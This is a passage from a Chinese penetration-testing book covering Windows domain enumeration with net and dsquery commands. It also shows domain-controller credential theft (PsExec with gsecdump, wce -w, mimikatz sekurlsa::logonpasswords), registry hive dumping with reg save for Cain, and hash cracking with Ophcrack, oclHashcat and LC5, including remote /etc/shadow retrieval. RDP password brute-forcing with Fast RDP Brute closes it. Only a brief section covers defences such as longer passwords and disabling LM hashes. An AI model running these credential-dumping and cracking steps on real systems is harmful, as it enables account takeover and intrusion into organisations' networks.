用户列表（Windows用户列表、邮件用户等）：分析Windows用户列表，不要忽略administrator；分析邮件用户、内网/域邮件用户，通常就是内网/域用户，如owa。

进程列表：分析杀毒软件/安全监控工具、邮件客户端、VPN等。

服务列表：与安全防范工具有关的服务（判断是否可以手动控制等），以及存在问题的服务（权限/漏洞）。

端口列表：开放端口对应的常见服务/应用程序（匿名、权限、漏洞等），以及利用端口进行信息收集，建议读者深入挖掘（NETBIOS、SMB等）。

补丁列表：分析Windows补丁和第三方软件（Java、Oracle、Flash等）的漏洞。

本机共享（域内共享很多时候与此相同）：本机共享列表/访问权限，以及本机访问的域共享/访问权限。

本地用户习惯分析：历史记录、收藏夹、文档等，特别是远程终端、PuTTY、FTP、SSH等。有些用户喜欢在本地保存登录密码，通过客户端可以直接登录。

2.常见的信息收集命令

查询本机用户列表：net user

查询本机管理员（通常含有域用户）：net localhroup administrators

查询域管理员用户：net group "domain admins" /domain

查询域用户：net user /domain

查询域里面的工作组：net group /domain

查询域名称：net view /domain

查询域内计算机：net view /domain:XX

查询域控制器：net time /domain

查询域管理员用户组：net localgroup administrators /domain

域用户添加到本机：net localgroup administrators workgroup\user001 /add

查看域控制器（如果有多台）：net group "Domain controllers"

查询本机IP段、所在域等：ipconfig /all

查询同一域内机器列表：net view

查询所有域控制器：dsquery server

dsquery server -domain super.com | dsget server -dnsname -site
//搜索域内所有域控制器并显示其DNS主机名和站点名

查询域内计算机：dsquery computer

dsquery computer domainroot -name admin* -limit 10
//搜索域内名称以“admin”开头的前10台机器

查询域用户：dsquery user

dsquery user domainroot -name admin* -limit 10
//搜索域内名称以“admin”开头的前10个用户

查询域内联系人：dsquery contact

dsquery contact domainroot -name admin* -limit 10
//搜索域内名称以“admin”开头的前10个联系人

查询域内子网：dsquery subnet

查询域内用户组：dsquery group

dsquery group dc=super,dc=com |more
//搜索在DC=SUPER、DC=COM域中的所有组

查询域内组织单位：dsquery ou

查询域内站点：dsquery site

dsquery site -o rdn
//搜索域中所有站点的名称

查询域内所有计算机：net group "domain computers" /domain

注意

-limit参数不指定查询数量，则默认显示前100条结果。

查询超过4周未登录的计算机：dsquery computer -inactive 4

查询超过4周未登录的用户：dsquery user -inactive 4

通过组织单位查询计算机：dsquery computer "ou=xx,dc=xx,dc=com"

求助待解决问题：

dsquery user domainroot -name admin* -limit 10
//搜索域内名称以“admin”开头的前10个用户

查询这10个用户的后10个用户要如何写？

列出本机所有驱动器：fsutil.exe fsinfo drives

显示当前路由表中的所有项目：route print

显示IP路由表中以“10”开头的路由条目：route print 10.*

备份导出服务器网络配置：netsh dump>d:\netbak.txt

查看邮件服务器记录：nslookup -qt=mx google.com

查看子域名服务器记录：nslookup -qt=ns google.com

列出所有记录：>ls -d domain d:\xxx.txt

1.6.3 域控服务器用户账号和密码获取实例

01 获取IP配置信息

打开命令提示符窗口，如图1-22所示，输入命令“ipconfig /all”，查看该服务器的IP地址等信息，并通过该信息探测是否存在域控服务器。如果存在内部域控，在DNS服务器中一定会有内部IP地址，如10.168.10.1。

图1-22 获取网络配置情况

02 查看域控情况

通过“net view”命令查看显示当前域的计算机列表，在本例中发现仅存在1台服务器，如图1-23所示。

运行“net view”命令可以显示域列表、计算机列表或指定计算机的共享资源列表。“net view [\\ComputerName] [/domain[:DomainName]]”命令用于指定要查看其可用计算机的域。如果省略DomainName，使用/domain将显示网络上的所有域。在本例中，输入命令“net view /domain”，可知该网络中存在2个域，分别是ITEDT47和WORKGROUP，如图1-24所示。

图1-23 显示当前域的计算机列表

图1-24 获取当前域控名称

03 登录域控服务器

使用NTScan扫描网段10.168.10.1-254中已经获取的Web服务器管理员密码和用户密码，获取IP地址为10.168.10.3的域控服务器的用户名和密码。通过远程终端登录该服务器，如图1-25所示。

04 获取域控服务器的用户密码

将PsExec、gsecdump等工具上传到域控服务器。执行“psexec \\127.0.0.1 cmd”命令获取system权限，然后到工具目录下执行“gsecdump -s >all.txt”命令，将用户密码Hash值全部导出到all.txt文件，如图1-26所示，代码如下。

图1-25 获取域控服务器权限

图1-26 获取域控服务器的用户密码

usage: gsecdump [options]
options:
  -a [ --dump_all ]          dump all secrets
  -s [ --dump_hashes ]       dump hashes from SAM/AD
  -l [ --dump_lsa ]          dump lsa secrets
  -u [ --dump_usedhashes ]  dump hashes from active logon sessions
  -w [ --dump_wireless ]     dump microsoft wireless connections
  -h [ --help ]               show help
  -S [ --system ]             run as localsystem

05 查看并整理域控用户密码

通过“记事本”等程序打开all.txt，将IUSR、IWAM及用户名末尾含有“$”符号的用户全部删除。例如，“IUSR_FS02T47E(current)”、“IWAM_FS02T47E(current)”、“RM103-2$(current)”都是无用的密码，如图1-27所示。

图1-27 查看并整理域控用户密码

06 破解域控用户密码

将整理好的文件导入Ophcrack中进行破解。如图1-28所示，可以快速破解域控用户的密码。

图1-28 破解域控用户的密码

技巧

有些情况下，由于管理员设置了超过14位的密码，所以通过gsecdump获取的Hash值也无法通过Ophcrace工具进行破解。这时，可以使用WCE进行破解。执行“wce -w”命令直接获取登录用户的明文密码，如图129所示。

图1-29 获取登录用户的明文密码

还可以使用Mimikatz获取系统曾经登录用户的明文密码，示例如下。

mimikatz
privilege::debug
sekurlsa::logonpasswords

1.7 使用Ophcrack破解系统Hash密码

在破解密码时，使用最多的是LC5。但是，LC5的破解时间相对较长。本节将给出一个Ophcrack破解案例—一个不超过14位的系统密码一般不超过5分钟就能破解，绝大多数仅需要几十秒。这意味着，当系统存在漏洞时，入侵者可以在短时间内控制并渗透内部网络！

1.7.1 查找资料

在课题研究过程中，最重要的就是查找资料。目前，查找资料的途径之一就是通过网络搜索已经公布的研究结果。

在Google中搜索关键词“ophcrack”，然后选中“中文网页”单选项，单击“Google搜索”按钮，如图1-30所示，得到超过294 000条记录。看来，Ophcrack是比较流行的，威力可见一斑！

图1-30 查找Ophcrack的相关资料

对这些信息进行分析和整理，最终获得了以下资料。

工具下载：http://sourceforge.net/project/showfiles.php?group_id=133599

Ophcrack主页：http://ophcrack.sourceforge.net/

英文维基百中关于彩虹表的定义和解释：http://en.wikipedia.org/wiki/Rainbow_table

国内对彩虹表的研究：http://www.antsight.com/zsl/rainbowcrack/

目前有关Ophcrack和彩虹表的其他相关资料

下载Ophcrack软件及其源代码，以及Ophcrack提供的彩虹表（http://ophcrack. sourceforge.net/tables.php），可以知道Ophcrack提供了3个免费的彩虹表和1个需付费购买的Windows XP Special扩展表。

1.Windows XP free small（380MB）

标识：SSTIC04-10k

破解成功率：99.9%

字母数字表：123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

该表由大小写字母和数字生成，大小为388MB，包含所有字母数字混合密码中99.9% 的LanManager表。这些都是用大小写字母和数字组成的密码（有大约800亿个组合）。

由于LanManager Hash表将密码分成每份7个字符的2段，所以，可以用该表破解长度为1～14位的密码。由于LanManager Hash表是不区分大小写的，该表中的800亿个组合就相当于12×1011（或者283）个密码，因此也被称为“字母数字表10K”。

2.Windows XP free fast（703MB）

标识：SSTIC04-5k

成功率：99.9%

字母数字表：0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ字母数字表5KB，大小为703MB，包含所有字母数字组合的密码中99.9% 的LanManager表。但是，随着表的大小变成原来的2倍，如果计算机有1GB以上的RAM空间，则它的破解速度将是前一个表的4倍。

3.Windows XP Special（7.5GB）

标识：WS-20k

成功率：96%

Windows XP Special扩展表的大小为7.5GB，包含最长14个大小写字母、数字及33个特殊字符（“!”、“"”、“#”、“$”、“%”、“&”、“'”、“(”、“)”、“*”、“+”、“,”、“-”、“.”、“/”、“:”、“;”、“<”、“=”、“>”、“?”、“@”、“[”、“\”、“]”、“^”、“”、“`”、“{”、_“|”、“}”、“~”和空格）组成的密码中96%的LanManager表。该表中大约有7兆个组合，5×1012（或者292）个密码，需要付费购买。

4.破解Windows Vista的彩虹表

Vista Free（461MB）可以免费破解Windows Vista的Hash密码，Windows Vista Special（8.0GB）需要付费购买。

小知识

“LM”是“LanManager”的简称，它是Windows古老而脆弱的密码加密方式。任何大于7位的密码都被分成以7为单位的几个部分，最后不足7位的部分以“0”补足7位，然后通过加密运算最终组合成一个Hash。所以，通过破解软件分解后，实际上LM密码破解的上限就是7位。以今天的计算机运算速度，短时间内暴力破解LM加密的密码成为可能（上限是2周）。如果使用彩虹表，那么这个时间的数量级可能会缩短到小时级。

1.7.2 配置并使用Ophcrack进行破解

01 安装Ophcrack

Ophcrack的安装过程非常简单，按照提示操作即可。在安装过程中需要特别注意——不要下载彩虹表。

安装设置提供了3个下载选项，分别是Windows XP（380MB）、Windows XP（703MB）、Windows Vista（461MB）彩虹表，如图1-31所示。笔者在安装过程中选择后下载了数个小时，而实际上，彩虹表可以在程序安装完成后再下载，否则要等彩虹表下载完成后才能使用Ophcrack。

图1-31 安装时建议不下载彩虹表

02 使用Ophcrack

运行Ophcrack，该软件有“Load”、“Delete”、“Save”、“Tables”、“Crack”、“Help”、“Exit”共7个主要模块，如图1-32所示。“Load”主要负责装载Hash或者SAM文件；“Delete”主要用于删除破解条目；“Save”主要用于保存破解结果或者破解Session；“Tables”主要用于设置彩虹表；“Crack”用于开始执行破解；“Help”用于查看帮助文件；“Exit”就不多说了，大家都懂。

03 下载彩虹表

可以到Ophcrack提供的下载地址（http://ophcrack.sourceforge.net/tables.php）下载彩虹表。本例中下载了3个免费的彩虹表。

04 设置彩虹表

在Ophcrack主界面单击“Tables”按钮，会出现如图1-33所示的“Table Selection”界面，在默认状态下，所有的彩虹表都没有安装。通过该界面我们可以了解：一共有8个彩虹表，其中有3个是免费的。

选中其中一个条目，如本例中的“XP free fast”，然后单击“Install”按钮，系统默认自动打开Ophcrack的安装目录。本例将3个压缩文件解压到F盘，如图1-34所示，选择“Tables”目录，即可同时安装获取的其他2个彩虹表。

图1-32 Ophcrack主界面

图1-33 彩虹表

图1-34 选择要安装的彩虹表

注意

（1）在Ophcrack中，其彩虹表的上级目录名称必须为“tables”，否则彩虹表无法成功安装。

（2）彩虹表安装成功后，其条目图标会变成绿色，用户还可以查看彩虹表的数量，如图1-35所示。

图1-35 彩虹表安装成功

05 准备破解材料

这里的破解材料主要是指通过GetHashes、Pwdump等软件获取的系统Hash密码值。如果没有，就自己想办法获取一个吧。

06 开始破解

① 加载SAM文件。单击“Load”按钮，选择“PWDUMP file”选项。如图1-36所示，一共有6个选项，第1个选项主要用于对单个Hash的破解，第2个选项用于对获取的Pwdump文件进行破解，第3个选项用于对加密的SAM文件进行破解，第4个和第5个选项主要用于审计或者破解本地和远程Hash密码。

图1-36 选择破解类型

② 查看Hash密码值。在本例中，选择一个已经Pwdump的文件。如果Pwdump系统的Hash密码没有错误，则会在Ophcrack主界面中正确显示。如图1-37所示，在Ophcrack主界面分别显示了“User”、“LM Hash”、“NT Hash”、“LM Pwd1”、“LM Pwd2”及“NT pwd”等信息。

图1-37 显示获取的Hash密码值

③ 清理无用的Hash值。在本例中，“IUSR_XFFZD-R1”、“TWWM_XFZD-SER1”和“TsInternetUser”这3个用户是系统自带的，在口令破解中基本没有用处（除非有人对该账号进行了克隆）。因此，可以选中它们，单击Ophcrack主界面上的“Delete”按钮，删除这3个无用的账号及笔者添加的“king$”账号，仅留下并破解管理员账号。清理完毕后，如图1-38所示。

图1-38 清理无用的Hash密码值

④ 执行破解。单击“Crack”按钮开始破解，很快就得出密码“www119”，其“LM Pwd1”值与“NT pwd”相同，破解密码的时间仅为37秒，如图1-39所示。

图1-39 破解系统密码成功

⑤ 查看破解统计信息。在Ophcrack主界面上单击“Statistics”标签，可以查看关于破解Hash密码值的详细信息，如图1-40所示。

图1-40 查看所破解密码的有关统计信息

⑥ 破解参数设置。单击“Preferences”选项卡，打开破解参数设置窗口，如图1-41所示，可以设置破解的线程、破解方式及是否隐藏用户名等。

图1-41 设置破解参数

1.7.3 彩虹表破解密码防范策略

通过彩虹表破解密码使入侵者可以很方便地获取系统的口令，从而“正常”登录系统，让管理员或者计算机的主人不太容易发现。研究发现，可以通过两种方式提高系统口令的安全性。

1.通过设置超过一定位数的密码加固口令安全

使用彩虹表破解14位以下的密码相对容易，对于普通入侵者来说仅有3个免费表，破解的强度相对低一些，因此可以通过增加密码设置的位数加固系统口令。笔者建议设置超过32位的密码加固系统口令。

口令的设置技巧很多，这里仅举一例。通过一句话来设置密码，如“2008-8月我国举办了奥运会，我去北京鸟巢观看了比赛，感觉很爽！”就可以设置为“2008-8ywgjblayh, wqbjlcgklbs,gjhs!”。其中，时间全取，标点符号全取，其他汉字取第一个字母，密码长度为33位。如果想让密码再长一点，还可以增加取位数量。其实质就是选择一句话或者诗词中的某一段来设置，容易记忆，安全强度高。

2.使用NTLM方式加密

LM这种脆弱的加密方式在Windows 2003中还在使用，我们可以通过更改加密方式为NTLM提高系统口令的安全性。笔者在很多案例中发现，虽然能通过Pwdump和GetHashes获取Hash值，但LC5及Ophcrack均不能破解密码。

可以通过设定注册表参数禁用LM加密，代之以NTLM方式加密，方法如下。

01 打开注册表编辑器。

02 定位到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa。

03 选择“编辑”→“添加数值”选项。

04 设置数值名称为“LMCompatibilityLevel”，数值类型为“DWORD”，单击“确定”按钮。

05 双击新建的数据，并根据具体情况设置以下值。

0：发送LM和NTLM响应。

1：发送LM和NTLM响应。

2：仅发送NTLM响应。

3：仅发送NTLMv2响应（Windows 2000有效）。

4：仅发送NTLMv2响应，拒绝LM（Windows 2000有效）。

5：仅发送NTLMv2响应，拒绝LM和NTLM（Windows 2000有效）。

06 关闭注册表编辑器。

07 重新启动计算机。

Windows NT SP3引入了NTLM加密，Windows 2000以后逐步引入了NTLM 2.0加密。但是，LM加密方式默认还是开启的，除非通过上面的方法刻意关闭它。

1.8 使用oclHashcat破解Windows系统账号和密码

本节的破解对象为Windows 7用户的密码。

oclHashcat号称世界上最快的密码破解工具，是世界上第一个和唯一基于GPGPU规则的引擎，提供免费的多GPU（高达128个GPU）、多哈希、多操作系统（Linux和Windows本地二进制文件）、多平台（OpenCL和CUDA支持）、多算法机制，资源利用率低，基于字典攻击，支持分布式破解等。

oclHashcat for AMD的下载地址：http://hashcat.net/files/oclHashcat-1.31.7z

oclHashcat for NVIDIA的下载地址：http://hashcat.net/files/cudaHashcat-1.31.7z

oclHashcat系列软件在硬件上支持使用CPU、NVIDIA GPU、ATI GPU进行密码破解，在操作系统上支持Windows、Linux平台，并且需要安装官方指定版本的显卡驱动程序，如果驱动程序版本不对，可能导致程序无法运行。NVIDIA用户的GPU破解驱动需要ForceWare 331.67及更高版本，AMD用户则需要Catalyst 14.9及更高版本。可以通过Catalyst自动侦测和下载检测工具来检测系统应该下载哪个版本，下载地址为http://support.amd.com/en-us/download/auto-detect-tool。还可以通过360软件管理直接搜索“Catalyst”，选择合适的版本安装即可。

1.8.1 准备工作

使用oclHashcat进行破解之前，需要完成如下准备工作。

01 准备kali Linux操作系统或者虚拟机。

02 准备Windows 7操作系统或者虚拟机。

03 准备字典。可以自己生成字典工具，也可以从互联网获取字典，推荐如下字典网站。

http://contest-2010.korelogic.com/wordlists.html

http://www.insidepro.com/dictionaries.php

04 在Windows 7中新增用户antian365，密码为password。依次单击“开始”→“运行”选项，输入“cmd”并按“Shift+Ctrl+Enter”组合键，输入“net user antian365 password /add”，或者以管理员权限启动cmd.exe程序，执行成功后如图1-42所示。测试完毕可以通过“net user antian365 /del”命令删除该账号。

图1-42 添加测试账号

05 下载SAMInside。目前，官方网站目前已经停止SAMInside软件的更新了，可以到华军软件园下载，地址为http://gwbnsh.onlinedown.net/down2/saminside.v2.6.1.0. chs.rar。

1.8.2 获取并整理密码Hash值

01 获取操作系统Hash值

有多个软件可以获取Windows 7操作系统的Hash值，如WCE、mimikatz、Cain、SAMInside等，在Windows Vista及以上版本中都有UAC权限控制机制。UAC（User Account Control，用户账户控制）是微软为提高系统的安全性在Windows Vista中引入的新技术，它要求用户在执行可能影响计算机运行的操作，或者执行更改影响其他用户的设置的操作之前，提供权限或管理员密码。通过在这些操作启动前对其进行验证，UAC可以帮助防止恶意软件和间谍软件在未经许可的情况下在计算机上进行安装或对计算机进行更改。因此，获取密码的工具都需要以管理员身份运行。

选择saminside.exe程序，单击右键，在弹出的快捷菜单中选择“以管理员身份运行”选项，然后在SAMInside程序主界面中单击左起第3个图标，在弹出的菜单中选择“Import local user using Scheduler”选项，如图1-43所示，即可获取本机所有账号的密码Hash值等信息。

图1-43 获取密码Hash值

02 整理Hash值

在SAMInside中，既可以导出所有账号的Hash值，也可以复制单个账号的Hash值。单击“File”菜单中的导出用户到Pwdump文件选项，即可导出获取的Hash值。也可以选择Hash值，单击右键，在弹出的快捷菜单中依次选择“Copy”→“NT Hash”选项，获取NT Hash值。对于Windows Vista及以上版本的操作系统，即使是普通的密码，也是以“AAD3B”开头的一串字符，这个值目前在Ophcrack等工具中无法破解，在SAMInside中会显示为一串“0”字符。将NT Hash值整理到一个文件中，将文件命名为“win2.hash”，如图1-44所示。

图1-44 整理需要破解的Hash值

1.8.3 破解Hash值

将准备好的字典ptemp.txt、需要破解的Hash值文件win2.hash复制到oclHashcat32程序所在的文件夹下，执行以下命令进行破解。

oclHashcat32 -m 1000 -a 0 -o winpass1.txt --remove win2.hash ptemp.txt

“-m 1000”表示破解密码类型为NTLM。

“-a 0”表示采用字典破解。

“-o”表示将破解后的结果输出到winpass1.txt。

“--remove win2.hash”表示将移除破解成功的Hash。

“ptemp.txt”为密码字典文件。

如果密码字典较大，可能会显示“[s]tatus [p]ause [r]esume [b]ypass [q]uit =>”。输入“s”显示破解状态，输入“p”暂停破解，输入“r”继续破解，输入“b”忽略破解，输入“q”退出。所有成功破解的结果都会自动保存在oclHashcat.pot文件中。破解结束，会显示如图1-45所示的信息。

图1-45 破解信息

1.8.4 查看破解结果

使用“type winpass1.txt”命令查看破解结果，如图1-46所示，密码为“password”。

图1-46 查看破解结果

1.8.5 小结

oclHashcat功能强大，基本上能够破解目前常见的密码加密算法。Discuz!论坛密码算法md5(md5($pass).$salt)，破解命令为“oclHashcat32 -m 2611 -a 0 -o winpass1.txt --remove dz. hash ptemp.txt”；Linux SHA-512加密方式，破解命令为“oclHashcat32 -m 1800 sha512linux.txt p.txt”；Linux下的MD5加密方式，破解命令为“oclHashcat32 -m 500 linuxmd5.txt p.txt”。

本节所用到的工具，下载地址为http://www.antian365.com/lab/project01/project01.rar，解压密码为“antian365”。

1.9 使用L0phtCrack破解Windows和Linux的密码

L0phtCrack是一款强大的密码审计工具，目前最新版本为6.0.20，官方下载地址为http://www.l0phtcrack.com/lc6setup_v6.0.20.exe。L0phtCrack 6.0.20的官方版本只能试用15天，且对功能有限制。目前使用比较多的是L0phtCrack 5.02注册版，简称LC5。LC5是网络管理员的必备的工具，可以用来检测Windows、UNIX/Linux用户是否使用了不安全的密码，同时，它也是最好、最快的Windows NT/2000/XP、UNIX/Linux管理员账号密码破解工具之一。事实证明，简单的或容易被破解的管理员密码是最大的安全威胁之一，因为攻击者往往会以合法的身份登录计算机系统而不被察觉。

1.9.1 破解本地账号和密码

本地账号和密码一般用于审计、测试、查看密码强度等，属于展示性质。

01 安装与汉化注册

双击LC5setup.exe图标，按照提示进行安装和设置。安装过程比较简单，在此就不赘述了。

02 选择密码导入方式

图1-47 选择密码导入方式

初次使用LC5会自动运行向导。如果不想每次启动都运行这个向导的话，可以选中“下次启动不再显示此向导”复选框。如果是第一次使用LC5，建议仔细阅读向导前面的文字，以便大致了解建立会话的过程。

单击“下一步”按钮，来到“取得加密口令”窗口，如图1-47所示，这里列出了LC5获得要破解的密码的4种途径。因为我们拥有本机的管理员权限，所以保持默认选中“从本地机器导入”单选项即可。

03 选择破解方法

在“选择破解方法”窗口有“快速口令破解”、“普通口令破解”、“复杂口令破解”和“自定义”4个选项，如图1-48所示，可以根据实际情况，按照先简单、后复杂的模式进行选择。

04 选择报告风格

这里默认分为5种风格，可以全部选中。选择报告风格主要便于在破解过程中直观查看破解结果等信息，如图1-49所示。

图1-48 选择破解方法

图1-49 选择报告风格

05 开始破解

向导设置完毕，LC5会将本地账号全部导入。依次单击“会话”→“开始破解”选项，或者单击菜单下面的三角形图标，开始对系统账号进行破解。如图1-50所示，获取本地账号3个，其中“Administrator”和“antian365”为有密码的账号。

图1-50 开始破解

在LC5的主界面上会显示域、用户名、LM认证口令等信息，也就是在设置报告风格时选择的项目。用户可以根据实际需要，通过“选择显示的项目”选项重新进行设置。在主界面中最重要的就是显示破解出来的口令。

1.9.2 导入Hash文件进行破解

通过导入Hash文件也可以进行破解。

1.获取系统Hash值

有关获取系统Hash值的内容已经在1.8节进行了介绍，这里就不赘述了。

将得到的Hash值保存为TXT文件，依次单击“会话”→“导入”选项，打开如图1-51所示的窗口，在“从文件导入”区域选中“从PWDUMP文件”单选项，即可选择Hash文件进行导入。

图1-51 选择导入Hash值

在“从文件导入”区域有4个选项，分别是“从SAM文件”、“从LC4文件”（LC5早期版本）、“从PWDUMP文件”和“从Unix shadow文件”（破解Linux密码），下面分别介绍。

从SAM文件：Windows NT/2000的SAM文件位于C:\WinNT\system32\config\ 目录下；Windows XP/2003/Vista的SAM文件位于C:\Windows\system32\config\ 目录下。进入光盘或者通过其他工具访问DOS环境，即可将SAM文件复制出来。

从LC4文件：LC4是LC5的前一个版本。L0phtCrack默认将未完成的任务保存成以“.lcs”结尾的文件，这样下次使用时就可以直接打开已经保存的任务继续破解，省去了每次都要重复破解的麻烦。LC5是兼容LC4的，如果有未完成的LC4任务，或者在某些特定情况下只能使用LC5读取用户信息时，先将任务保存成LC4文件，再用LC5读取，也不失为一种好办法。

从PWDUMP文件：是指通过其他Hash获取工具获得Hash后保存的文本。

从Unix shadow文件：在 *nix系统中，用户的信息（包括用户密码）本来都是存放在 /etc/passwd文件中的。但是由于很多原因，如其他应用程序需要将用户名转换为uid，/etc/passwd文件就必须可以被所有人访问。所以，系统引入了一种新的机制，将所有用户的密码信息存放在 /etc/shadow文件中，而这个文件是要有root权限才可以读取的，这样就保证了系统的安全性。因此，如果我们想使用LC5对 *nix系统下用户密码的强壮性进行检测，就必须得到那台主机的 /etc/shadow文件。

2.设置会话选项

图1-52 设置密码破解选项

在会话选项中包括LC5密码破解的所有选项，主要是字典破解、混合字典攻击、暴力破解和散列攻击的设置，如图1-52所示。早期Windows 2000、Windows XP较多，后期出现了Windows 2008、Windows 2012等高级版本，因此在Hash值的前半部分会显示以“AA3D”开头的字符串。这个字符串是无法破解的，在破解结果中显示为“no password”，这个时候就需要选中“破解NTLM认证口令”复选框。

（1）复杂字典破解

LC5默认自带两个字典，可以在使用字典破解时选用，然后添加相应的密码字典文件即可。一般来讲，需要用户自己生成字典，特别是要生成有针对性的字典。常用的字典生成器有黑客字典、木头字典生成器、易优字典生成器、密码字典生成器、超级字典生成器和社工字典生成器等。

（2）混合字典攻击

混合字典攻击是指把现有字典里的单词进行随机组合，再次匹配密码。选中这个选项，在不增加新字典的情况下，破解效率会大大提高。建议在单独使用字典失败的情况下尝试使用这个选项。

（3）彩虹表的使用

彩虹表预先将密码Hash值按照一定的规则生成文件，使用LC5破解时直接比对文件中的值即可。现在有很多网站提供彩虹表的下载。如图1-52所示，在“预定”区域选中“使用”复选框，这样“散列文件列表”按钮就会变为可用状态。单击该按钮，打开“预定散列表”对话框，如图1-53所示。

（4）暴力破解

如图1-54所示，先选中“使用”复选框，这样右边的“字符设置”区域就会变为可用状态。我们可以预估需要破解的密码可能使用什么样的字符，这样做能够大大提高破解效率。如果了解要破解的密码的一些情况，如11位的密码，那么是手机号的可能性就很大。如果知道要破解的密码的设置人的一些情况，如生日、姓名、喜欢的宠物等，则最好在下拉列表中选择“自定义”选项。在使用暴力破解时，一般选择先易后难模式，即先尝试破解字母密码，再尝试破解字母、数字、普通符号的组合密码，最后尝试破解字母、数字、所有符号的组合密码。

图1-53 添加彩虹表

图1-54 暴力破解

1.9.3 Linux密码的破解

*nux系统的密码破解介绍得差不多了。笔者比较熟悉Linux，所以就拿Linux来举例。

首先要明确的是：*nux系统的密码文件是 /etc/shadow，而不是 /etc/passwd。至于怎样获得这个文件，大家就可以“八仙过海，各显神通”了。下面演示一下远程获取的过程。使用LC5获取 *nux系统密码，是通过SSH的方式登录服务器获取的，所以，在使用LC5远程获取 /etc/shadow文件时，一定要确保拥有管理员权限，并确认远程服务器开启了SSH服务。

01 从远程计算机导入

打开“导入”对话框，选中“远程电脑”单选项，单击“确定”按钮，将弹出“从远程电脑导入”对话框，如图1-55所示，选中“UNIX系统”单选项。

02 输入证书

单击“确定”按钮，将弹出“输入证书”对话框。如图1-56所示，输入管理员的用户名和密码，并选中“保存这些证书为以后使用”复选框。

图1-55 从远程计算机导入

图1-56 输入证书

03 设置破解方案

选择字典破解、混合字典攻击和暴力破解3种模式，如图1-57所示。

图1-57 设置密码破解方式

04 开始破解

如图1-58所示，将远程计算机中的用户全部导入，开始破解。注意右半部分的进度，用户b的密码被破解了，这时破解进度还不到一半，破解时间不到20秒。总的来说，速度很快，效果也挺好，剩下的就是时间问题了。

图1-58 破解Linux密码

1.10 通过hive文件获取系统密码Hash

登录目标的3389端口，获取密码Hash，然后通过彩虹表得到密码明文，或者使用WinlogonHack来记录3389端口的登录密码，这些方法很多人已经非常熟悉了。在笔者最近的几次渗透中，发现PWDump、fgdump这类工具已经不在免杀之列了，而且这类工具都是要注入lsass.exe进程的，遇到Macfee这类的杀毒软件，默认是无法绕过的。笔者测试了Winlogon网站放出的内容，对Windows 2008是没有效果的。最近笔者浏览博客，看到国外的技术人员提出了一种获取系统密码Hash的技巧，经过实践发现可行，下面分享给大家。

1.10.1 获取SAM、System及Security的hive文件

首先使用administrator账户登录，然后使用reg命令保存注册表中HKLM下的security、sam、system权限。在这里必须使用reg命令的save选项，不能使用export选项。直接执行以下命令，效果如图1-59所示。

C:\>reg save hklm\sam C:\sam.hive
C:\>reg save hklm\system C:\system.hive
C:\>reg save hklm\security C:\security.hive

图1-59 获取hive文件

对于非Windows 2000操作系统，可以通过以下命令备份。

C:\>regback.exe C:\backtemp\SAM machine sam
C:\>regback.exe C:\backtemp\SYSTEM machine system

1.10.2 导入Cain工具

将sam.hive、system.hive和security.hive文件下载并存储到本地，打开Cain，在“Decoders”标签页单击“LSA Secrets”选项，然后单击“+”按钮导入system.hive和security.hive文件，如图1-60所示。

图1-60 导入hive文件

1.10.3 获取明文密码

导入成功后，就可以看到管理员的明文密码了，如图1-61所示。当然，这里的密码也可能是历史密码。

图1-61 获取明文密码

1.10.4 破解Hash密码

用获取的明文密码尝试登录。如果登录失败，则需要破解LM-Hash和NTLM-Hash的值。

单击“Cracker”标签页的“LM&NTLM Hashes”选项，然后单击“+”按钮，导入sam.hive文件。由于Windows 2000及以后的操作系统默认使用syskey，所以还要导入system.hive中syskey的值，然后就可以进行彩虹表破解了，如图1-62和图1-63所示。

图1-62 破解sam.hive文件

图1-63 破解系统密码

1.10.5 小结

这个方法并非对Windows的所有发行版本都有效，如对Windows 2000 SP4、Windows XP SP2就无效，而对Windows 2003/2008都有效，具体如下。

Windows 2000 SP4 (admin)：拒绝访问（Access Denied）。

Windows XP SP2 (admin)：拒绝访问（Access Denied）。

Windows XP SP3 (admin)：拒绝访问（Access Denied）。

Windows 2003 R2 SP2 (admin)：运行（Works）。

Windows Vista SP2 (UAC/admin)：运行（Works）。

Windows 2008 SP1 (admin)：运行（Works）。

Windows 7 (UAC/admin)：运行（Works）。

1.11 使用Fast RDP Brute破解3389口令

下面介绍使用Fast RDP Brute破解3389口令的方法。

1.11.1 Fast RDP Brute简介

Fast RDP Brute是俄罗斯的一款暴力破解工具，主要用于扫描远程桌面、连接弱口令。Fast RDP Brute官方下载地址为http://stascorp.com/load/1-1-0-58，运行后界面如图1-64所示。

图1-64 Fast RDP Brute主界面

1.11.2 设置主要参数

Fast RDP Brute的主要参数介绍如下。

Max threads：设置扫描线程数，默认值为1000，一般不用修改。

Scan timeout：设置超时时间，默认值为2000，一般不用修改。

Thread timeout：设置线程超时时间，默认值为60000，一般不用修改。

Scan ports：设置要扫描的端口，根据实际情况设置，默认值为3389、3390和3391。在实际扫描过程中，如果是对某个已知IP地址和端口进行扫描，建议删除多余端口。例如，对方端口为3388，则只保留3388即可。

IP ranges to scan：设置扫描的IP地址范围。

用户名和密码：可以在文件夹下的user.txt和pass.txt文件内自行设置。如图1-65所示，在默认的user.txt文件中包含俄文的管理员，一般不使用，可以根据实际情况进行设置。

图1-65 设置暴力破解的用户名和密码字典

1.11.3 局域网扫描测试

本次测试采用VMware环境，搭建两个平台，扫描主机IP地址为192.168.148.128，被扫描主机IP地址为192.168.148.132，操作系统为Windows 2003，开放3389端口。在该服务器上新建test、antian365用户，并将设置的密码复制到扫描字典中，单击“Start scan”按钮进行扫描，扫描结果如图1-66所示。

图1-66 扫描结果

注意

（1）在192.168.148.132服务器上必须开启3389端口。

（2）在扫描服务器上执行mstsc命令，输入IP地址192.168.148.132进行3389登录测试，看看能否访问网络。如果无法访问网络，则扫描无效。

1.11.4 小结

Fast RDP Brute的特点如下。

该软件虽然提供多个用户同时扫描的机制，但只要扫描出1个结果，就停止扫描。对于多用户扫描，可以在扫描出结果后，将已经扫描出来的用户删除，再进行扫描，或者针对单用户进行扫描。

扫描时间过长或者连接次数较多时，会显示“too many errors”错误。

该软件可以对单个用户进行已知密码扫描。在已经获取内网权限的情况下，可以对整个网络中开放3389端口的主机进行扫描，以获取权限。

DUBrute V4.2 RC也可以进行3389密码暴力破解测试，测试环境同上，实际测试效果为无法破解。

1.12 Windows口令扫描攻击

